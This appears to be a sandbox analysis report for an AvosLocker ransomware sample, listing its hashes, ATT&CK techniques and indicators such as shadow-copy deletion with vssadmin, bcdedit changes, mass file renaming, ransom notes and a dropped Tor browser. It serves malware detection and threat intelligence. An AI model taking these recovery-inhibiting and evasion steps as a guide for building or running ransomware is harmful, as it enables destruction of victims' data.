avoslocker | e2eff267e9a29f6bbd3d8c26f1813aeb6745cf879fad89c8ef46175427d069f0

Analysis

max time kernel
216s
max time network
217s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
24/07/2024, 17:05

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
Size

807KB
MD5

19944159dfa94a1b75effd85e6b906dc
SHA1

250acf87366f4c0cf91679a0e93dfc79954f0f10
SHA256

bff12a83b1fc2e0ad0000ad9b68abc8eada559bb1094caaf5b9f52887df23705
SHA512

c791840f59c2fc906c197c43e0e1717b9504cf46177a3688ecbd4937cdbf95349d68cc1e63649b85f02df4e6990c4df4756dd8267b062ea5271dd61fc3e508b0
SSDEEP

12288:0Z4s3rg9u/2/oT+NXtHLlP/O+OeO+OeNhBBhhBBAtHg9rjI+LXJ0ivlzkHBDsYA7:u4s+oT+NXBLi0rjFXvyHBlbnCZa8

Score

10^/10

avoslocker defense_evasion discovery evasion execution impact ransomware trojan

Malware Config

Signatures

Avoslocker Ransomware
Avoslocker is a relatively new ransomware, that was observed in late June and early July, 2021.
ransomware avoslocker
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
38312	bcdedit.exe
38300	bcdedit.exe

Renames multiple (8331) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Downloads MZ/PE file

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Control Panel\International\Geo\Nation	tor-browser-windows-x86_64-portable-13.5.1.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Control Panel\International\Geo\Nation	firefox.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Control Panel\International\Geo\Nation	firefox.exe

Executes dropped EXE 16 IoCs

pid	Process
38204	tor-browser-windows-x86_64-portable-13.5.1.exe
41284	firefox.exe
41344	firefox.exe
42872	firefox.exe
43476	firefox.exe
43732	firefox.exe
43724	tor.exe
44060	firefox.exe
45048	firefox.exe
45772	firefox.exe
45828	firefox.exe
39956	firefox.exe
40112	firefox.exe
41492	firefox.exe
45016	firefox.exe
8232	firefox.exe

Loads dropped DLL 64 IoCs

pid	Process
38204	tor-browser-windows-x86_64-portable-13.5.1.exe
38204	tor-browser-windows-x86_64-portable-13.5.1.exe
38204	tor-browser-windows-x86_64-portable-13.5.1.exe
41284	firefox.exe
41344	firefox.exe
41344	firefox.exe
41344	firefox.exe
41344	firefox.exe
41344	firefox.exe
41344	firefox.exe
41344	firefox.exe
41344	firefox.exe
41344	firefox.exe
41344	firefox.exe
41344	firefox.exe
42872	firefox.exe
42872	firefox.exe
42872	firefox.exe
42872	firefox.exe
43476	firefox.exe
43476	firefox.exe
43476	firefox.exe
43476	firefox.exe
43732	firefox.exe
43732	firefox.exe
43732	firefox.exe
43732	firefox.exe
44060	firefox.exe
44060	firefox.exe
44060	firefox.exe
44060	firefox.exe
43476	firefox.exe
43476	firefox.exe
43732	firefox.exe
43732	firefox.exe
45048	firefox.exe
45048	firefox.exe
45048	firefox.exe
45048	firefox.exe
45048	firefox.exe
45048	firefox.exe
45772	firefox.exe
45828	firefox.exe
45828	firefox.exe
45828	firefox.exe
45828	firefox.exe
39956	firefox.exe
39956	firefox.exe
39956	firefox.exe
39956	firefox.exe
45772	firefox.exe
45772	firefox.exe
45772	firefox.exe
45772	firefox.exe
45772	firefox.exe
39956	firefox.exe
39956	firefox.exe
45828	firefox.exe
45828	firefox.exe
40112	firefox.exe
40112	firefox.exe
40112	firefox.exe
40112	firefox.exe
40112	firefox.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	firefox.exe

Drops desktop.ini file(s) 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1124436784.png"	reg.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\6918_40x40x32.png	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\HxCalendarMediumTile.scale-125.png	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-white\ExchangeSmallTile.scale-200.png	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-white\HxMailAppList.targetsize-36.png	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\EURO\GET_YOUR_FILES_BACK.txt	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files (x86)\Common Files\Microsoft Shared\Ink\es-ES\TabTip32.exe.mui	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\Font\MyriadPro-Regular.otf	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\eu-es\ui-strings.js	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files-select\GET_YOUR_FILES_BACK.txt	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeBusiness2019R_OEM_Perp3-ppd.xrm-ms	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files\7-Zip\Lang\gu.txt	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\uk-ua\GET_YOUR_FILES_BACK.txt	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\themes\dark\dd_arrow_small2x.png	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\fillandsign.svg	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Word2019R_OEM_Perp-ul-oob.xrm-ms	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\GET_YOUR_FILES_BACK.txt	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-white\LinkedInboxLargeTile.scale-125.png	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CONCRETE\CONCRETE.ELM	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectPro2019VL_KMS_Client_AE-ul-oob.xrm-ms	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File created	C:\Program Files\Common Files\System\ado\uk-UA\GET_YOUR_FILES_BACK.txt	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\ja-JP\mip.exe.mui	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\tt\LC_MESSAGES\vlc.mo	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\PowerPointVL_MAK-ppd.xrm-ms	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files\Common Files\microsoft shared\ink\it-IT\FlickLearningWizard.exe.mui	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\cs-cz\GET_YOUR_FILES_BACK.txt	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\images\themes\dark\dd_arrow_small.png	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\new_icons.png	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files\Windows Media Player\Network Sharing\wmpnss_color32.jpg	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fur\LC_MESSAGES\GET_YOUR_FILES_BACK.txt	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\tools.jar	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\ca-es\GET_YOUR_FILES_BACK.txt	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\plugins\rhp\generic-rhp-app-selector.js	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File created	C:\Program Files\Microsoft Office\root\Office16\FPA_f33\GET_YOUR_FILES_BACK.txt	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\MondoR_Subscription-pl.xrm-ms	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\cs-cz\ui-strings.js	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\GET_YOUR_FILES_BACK.txt	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\desktop-connector-files\js\nls\hu-hu\ui-strings.js	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\GR8GALRY.GRA	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\net.properties	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\Workflow.Targets	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_comment_18.svg	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\reflow.api	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\sd\icecast.luac	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Document Themes 16\Facet.thmx	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\pkcs11cryptotoken.md	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\css\main-selector.css	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\@1x\themes\dark\[email protected]	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\turnOffNotificationInTray.gif	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\contrast-white\RunningLate.scale-64.png	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\HomeBusinessR_Grace-ppd.xrm-ms	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\security\javaws.policy	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File created	C:\Program Files\Common Files\microsoft shared\Triedit\en-US\GET_YOUR_FILES_BACK.txt	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File created	C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\es\GET_YOUR_FILES_BACK.txt	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\nb-no\GET_YOUR_FILES_BACK.txt	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\pt-br\GET_YOUR_FILES_BACK.txt	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\root\ui-strings.js	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\ko-kr\GET_YOUR_FILES_BACK.txt	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\js\nls\pt-br\ui-strings.js	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File created	C:\Program Files\VideoLAN\VLC\locale\af\GET_YOUR_FILES_BACK.txt	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ko-kr\GET_YOUR_FILES_BACK.txt	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.7906.42257.0_x64__8wekyb3d8bbwe\images\10146_20x20x32.png	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\DataModel\Cartridges\as90.xsl	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\chrome.dll.sig	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe
File created	C:\Program Files\Common Files\microsoft shared\ink\sl-SI\GET_YOUR_FILES_BACK.txt	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File created	C:\Windows\rescache\_merged\3720402701\1568373884.pri	MicrosoftEdge.exe
File created	C:\Windows\rescache\_merged\3720402701\1568373884.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\1568373884.pri	MicrosoftEdgeCP.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3132	powershell.exe
32736	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BFF12A83B1FC2E0AD0000AD9B68ABC8EADA559BB1094CAAF5B9F52887DF23705.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4624	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\ACGStatus\DynamicCodePolicy = 05000000	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\www.bing.com\ = "599"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\Active = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\SubSysId = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$MediaWiki	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\TrustedPeople	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{AEBA21FA-782A-4A90-978D-B7216 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0"	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\004\Internet Settings	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionHigh = "268435456"	MicrosoftEdge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content\CachePrefix	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Disallowed	MicrosoftEdge.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\002\Internet Explorer\DOMStorage\Total\ = "748"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\ACGPolicyState = "8"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Revision = "0"	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-1687926120-3022217735-1146543763-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore	MicrosoftEdge.exe
